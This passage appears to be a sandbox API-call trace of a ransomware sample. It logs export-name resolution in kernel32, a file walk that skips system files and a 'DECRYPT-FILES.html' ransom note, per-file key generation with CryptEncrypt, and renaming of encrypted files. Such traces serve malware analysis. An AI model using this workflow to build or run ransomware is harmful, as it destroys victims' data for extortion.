lpString1="CreateThreadpool") returned="CreateThreadpool" [0121.764] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0121.764] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0121.764] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0121.764] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0121.764] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0121.764] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0121.764] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0121.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0121.764] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.Ge2yyQ") returned 51 [0121.764] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.Ge2yyQ" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.ge2yyq"), dwFlags=0x0) returned 1 [0121.765] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.765] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.765] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.766] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0121.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0121.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.766] lstrlenW (lpString="SetupResources.dll") returned 18 [0121.766] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1035\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0121.766] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" [0121.766] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0121.767] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0121.767] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0121.767] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0121.960] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0121.960] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0121.960] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.961] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0121.961] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0121.962] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.962] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0121.962] CloseHandle (hObject=0x5f8) returned 1 [0121.962] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.963] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0121.964] CloseHandle (hObject=0x0) returned 0 [0121.964] CloseHandle (hObject=0x5f4) returned 1 [0122.082] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.083] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.083] GetTickCount () returned 0x33f0e [0122.083] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.084] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0122.084] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0122.084] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.085] lstrlenA (lpString="kernel32.dll") returned 12 [0122.085] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0122.085] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0122.085] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0122.085] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0122.085] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0122.085] lstrlenA (lpString="ADDATOMA") returned 8 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0122.085] lstrlenA (lpString="ADDATOMW") returned 8 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0122.085] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0122.085] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0122.085] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0122.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0122.085] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0122.086] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0122.086] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0122.086] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0122.086] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0122.086] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0122.086] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0122.086] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0122.086] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0122.086] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0122.086] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0122.086] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0122.086] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0122.086] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0122.086] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0122.086] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0122.086] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0122.087] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0122.087] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0122.087] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0122.087] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0122.087] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0122.087] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0122.087] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0122.087] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0122.087] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0122.087] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0122.087] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0122.087] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0122.087] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0122.087] lstrlenA (lpString="BACKUPREAD") returned 10 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0122.087] lstrlenA (lpString="BACKUPSEEK") returned 10 [0122.087] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0122.088] lstrlenA (lpString="BACKUPWRITE") returned 11 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0122.088] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0122.088] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0122.088] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0122.088] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0122.088] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0122.088] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0122.088] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0122.088] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0122.088] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0122.088] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0122.088] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0122.088] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0122.088] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0122.088] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0122.088] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0122.088] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0122.089] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0122.089] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0122.089] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0122.089] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0122.089] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0122.089] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0122.089] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0122.089] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0122.089] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0122.089] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0122.089] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0122.089] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0122.089] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0122.089] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0122.089] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0122.089] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0122.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0122.090] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0122.090] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0122.090] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0122.090] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0122.090] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0122.090] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0122.090] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0122.090] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0122.090] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, 